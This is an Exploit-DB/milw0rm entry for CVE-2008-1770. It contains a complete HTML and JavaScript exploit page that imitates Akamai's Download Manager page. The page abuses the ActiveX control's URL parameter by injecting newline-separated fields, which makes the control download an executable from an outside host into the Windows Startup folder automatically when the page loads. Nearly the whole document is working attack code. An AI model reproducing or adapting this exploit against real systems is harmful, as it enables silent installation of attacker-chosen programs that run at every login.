Akamai Download Manager < 2.2.3.7 - ActiveX Remote Download Exploit

2008-06-04T00:00:00
ID EDB-ID:5741
Type exploitdb
Reporter cocoruder
Modified 2008-06-04T00:00:00

Description

Akamai Download Manager < 2.2.3.7 ActiveX Remote Download Exploit. CVE-2008-1770. Remote exploit for windows platform

                                        
                                            &lt;html&gt;
        

    &lt;!--

	/**********************************************************************************
	Exploit start here, by cocoruder(frankruder_at_hotmail.com)
	For "Akamai Download Manager File Download To Arbitrary Location Vulnerability".         

	This exploit will download "http://ruder.cdut.net/attach/calc.exe" to "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe".
	***********************************************************************************/

        
                
        DLM:       v2.2.3
        Received:  ActiveX, v2.2.3.5
        Reason:    MSIE 6
        Language:  en (Automatically detected)
                
            
    --&gt;

    &lt;head&gt;

        &lt;!-- Begin head fragment --&gt;

        
            
                
  &lt;title&gt;Download Manager&lt;/title&gt; 
  &lt;script TYPE="text/javascript" LANGUAGE="javascript"&gt;
  window.resizeTo(500,510);
  &lt;/script&gt;

            

        &lt;!-- End head fragment --&gt;

        &lt;script language="JavaScript"&gt;

            var bDocReady = false;
            var bInsObj   = false;
            var isLinux   = (navigator.userAgent.indexOf("Linux") &gt;= 0);
            var isMacFF   = (navigator.userAgent.indexOf("Firefox") &gt;= 0 && navigator.userAgent.indexOf("Mac") &gt;= 0);
            var isSafari  = (navigator.userAgent.indexOf("Safari") &gt;= 0);
            var isSolaris = (navigator.userAgent.indexOf("Sun") &gt;= 0);
            var isWinFF   = (navigator.userAgent.indexOf("Firefox") &gt;= 0 && navigator.userAgent.indexOf("Windows") &gt;= 0);
            var isIE7     = (navigator.userAgent.indexOf("MSIE 7") &gt;= 0);

            function doLoad() {
        
                // Start automatically
                setTimeout("startDLM();", 1000);
            
                return;
            }

        
                

            var bdmIsReady = false;
            var bDMStarted = false;
            var bDMFailed  = false;
            var bShutdown  = false;

            var startTries = 0;

            function closeIt() {
                if (isIE7) {
                        return;
                }

                if (bDMStarted && !bShutdown) {
                    event.returnValue = "The Download Manager is still running.\n" +
                        "Pressing 'OK' will stop any active downloads and close the Download Manager.";
                }
            }

            

        &lt;/script&gt;

        
        &lt;noscript&gt;&lt;meta http-equiv="Refresh" content="2;url=http://dlm.tools.akamai.com/tools_files/Readme.txt" /&gt;&lt;/noscript&gt;
            

    &lt;/head&gt;

    &lt;body onload="doLoad()" onbeforeunload="closeIt()"&gt;

        &lt;!-- Begin body fragment --&gt;

        
            
                
                    
                        &lt;table cellpadding="10" cellspacing="0" border="0"&gt;
&lt;tr&gt;&lt;td&gt;
&lt;strong&gt;About the Download Manager&lt;/strong&gt;&lt;br&gt;
&lt;p&gt;The Download Manager provides for more effective, more efficient file downloads than you normally see with your browser, especially for large files or file sets.  It can pause and restart downloads even if you turn your computer off and on again. You will be presented with a security warning and after you accept, the Download Manager will install and begin to download the requested file.&lt;/p&gt;	
&lt;p&gt;Should the Download Manager fail to start, or if you do not accept the security certificate, you can &lt;a href=http://dlm.tools.akamai.com/tools_files/Readme.txt&gt;click here&lt;/a&gt; to download the file without using the download manager.&lt;/p&gt;&lt;p/&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

                    
            

        &lt;!-- End body fragment --&gt;

        &lt;DIV ID="objectDIV"&gt;&lt;/DIV&gt;

        &lt;script language="JavaScript"&gt;

        
                

            // Initiate shutdown
            function doDLMShutdown() {
                if (bShutdown) {
                    return;
                }

                bShutdown = true;
                window.opener = null;
                window.close();
            }


            // Initiate the download
            function doStart() {
                startTries++;
                if (startTries &gt; 120) {
                    bDMFailed = true;
                    return;
                }

                try {
                    var dm = document.getElementById("dm");
                    if (dm == null) {
                        bDMFailed = true;
                        return;
                    }
                    dm.detachEvent("DLMShutdown", doDLMShutdown);
                    dm.attachEvent("DLMShutdown", doDLMShutdown);
                
                    
                    dm.StartDownload();
                    
                    bDMStarted = true;
                } catch (e) {
                    bDMStarted = false;
                    if (e.description != "object Error") {
                        bDMFailed = true;
                    }
                }
            }

            // Start the DLM
            function startDLM() {

				//alert("pause");

                if (bDocReady) {
                    insertObj();
                    if (bdmIsReady) {
                        doStart();
                    }
                }

                if (bDMFailed) {
                    // Don't try to go direct, since this happens by
                    // default on XP SP2 and above.
                    return;
                }

                if (!bDMStarted) {
                    setTimeout("startDLM();", 500);
                }
            }

            // Check if the DM object is fully loaded
            function dmReady() {
                var dm = document.getElementById("dm");
                if (dm == null) {
                    bDMFailed = true;
                    return;
                }

                if (dm.readyState == 4) {
                    bdmIsReady = true;
                }
            }
            

            // Check if the document is fully loaded
            function docReady() {
                if (document.readyState == "complete") {
                    bDocReady = true;
                } else {
                    bDocReady = false;
                }
            }

            // Insert the code to create the DM object
            function insertObj() {
                // Only insert the object once
                if (!bInsObj) {
                    bInsObj = true;

                    // Create object tag
        
                
                    var sObjHTML = "&lt;object id=\"dm\" classid=\"CLSID:4871A87A-BFDD-4106-8153-FFDE2BAC2967\" CODEBASE=\"http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.3.5.cab#Version=2,2,3,5\" width=1 height=1&gt; " +
                        "   &lt;PARAM name=\"logging\" value=\"1\"/&gt; " +
            
                        "    &lt;PARAM name=\"version\" value=\"2.2.3\"/&gt; " +



						/**********************************************************************************
						Exploit start here, by cocoruder(frankruder_at_hotmail.com)
						For "Akamai Download Manager File Download To Arbitrary Location Vulnerability".         

						This exploit will download "http://ruder.cdut.net/attach/calc.exe" to "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe".
						***********************************************************************************/

                        "    &lt;PARAM name=\"URL\" value=\"http://ruder.cdut.net/attach/calc.exe\x0Areferer=http://ruder.cdut.net\x0Amd5=\x0Atarget=C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe\x0AlogoURL=\x0AiconURL=\x0AproviderName=\x0Alaunch=\x0AcloseWhenDone=yes\x0Aresumable=\x0AdisregardQryStr=\x0AmaxCon=4\x0AinitialView=summary\x0AxPos=100\x0AyPos=100\x0Aicon=true\x0Aencrypt=\x0Alogging=1\x0AfgColor=\x0AbgColor=\x0ArecoveryUrl=http://dlm.tools.akamai.com/Readme.txt\x0AflushSize=32\x0Alanguage=en\x0AuseMD5=\x0AuseStateReporting=1\x0AbundleDetails=\x0AbundleEnabled=\x0ArequestSize=1024\x0AswooshEnabled=\x0AswooshInstall=\x0Acookie=\"/&gt; " +



                        "    &lt;PARAM name=\"recoveryURL\" value=\"http://dlm.tools.akamai.com/Readme.txt\"/&gt; " +
                        "    &lt;PARAM name=\"language\" value=\"en\"/&gt; " +
                        "    &lt;PARAM name=\"providerName\" value=\"\"/&gt; " +
                        "    &lt;PARAM name=\"maxCon\" value=\"4\"/&gt; " +
                        "    &lt;PARAM name=\"maxConn\" value=\"4\"/&gt; " +
                        "    &lt;PARAM name=\"requestSize\" value=\"1024\"/&gt; " +
                        "    &lt;PARAM name=\"flushSize\" value=\"32\"/&gt; " +
        
            
                        "    &lt;PARAM name=\"initialView\" value=\"summary\"/&gt; " +
            
        
        
                        "    &lt;PARAM name=\"icon\" value=\"true\"/&gt; " +
            
        
        
        
        
        
                        "    &lt;PARAM name=\"launch\" value=\"no\"/&gt; " +
            
        
                        "    &lt;PARAM name=\"closeWhenDone\" value=\"no\"/&gt; " +
            
        
        

        

        
                        "&lt;/object&gt; ";
            

                    objdiv = document.getElementById("objectDIV");
                    if (objdiv == null) {
        
                        document.location.replace("http://dlm.tools.akamai.com/tools_files/Readme.txt");
            
                        return;
                    }

        

                    objdiv.innerHTML = sObjHTML;

                    if (dm == null) {
                        bDMFailed = true;
                    }

                    // Set up handler for DM readystate change
                    dm.onreadystatechange = dmReady;
                    dmReady();

            

                }
            }

        

            // Set up handler for document readystate change
            document.onreadystatechange = docReady;

            

        &lt;/script&gt;

    &lt;/body&gt;

&lt;/html&gt;

# milw0rm.com [2008-06-04]